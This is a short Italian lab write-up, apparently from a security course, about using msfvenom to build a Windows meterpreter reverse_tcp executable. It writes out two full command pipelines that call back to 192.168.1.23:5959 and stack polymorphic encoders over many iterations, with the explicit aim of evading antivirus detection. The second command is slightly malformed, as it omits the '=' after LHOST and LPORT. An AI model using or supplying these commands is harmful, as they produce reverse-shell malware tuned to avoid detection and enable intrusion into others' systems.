MFSVENOM

Il comando dato nella teoria rende il virus abbastanza invisibile, ma non totalmente. Riescono a vederlo 10 antivirus su 63 utilizzando questo virus “msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.23 LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 100 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 138 -o polimorficommm.exe”. Il virus è molto buono avendo una shell avanzata utilizzata da metasploit, ha un encoder polimorfico e ha 100/148/200 iterazioni di codifica. L’obiettivo era quello di rendere il virus meno visibile possibile, analizzando la struttura del codice ho cercato le variabili da poter modificare per renderlo più potente e meno visibile, modificando cosi le iterazioni di tutti i payload portandole tutte a 200. Dopodiché cercando su Google ho trovato un encoder diverso oltre a shikata_ga_nai aggiungendo cosi un livello di offuscamento diverso. Alla fine il mio codice risulta così “msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.1.23 LPORT5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 200 -o polimorficommm_v2.exe”.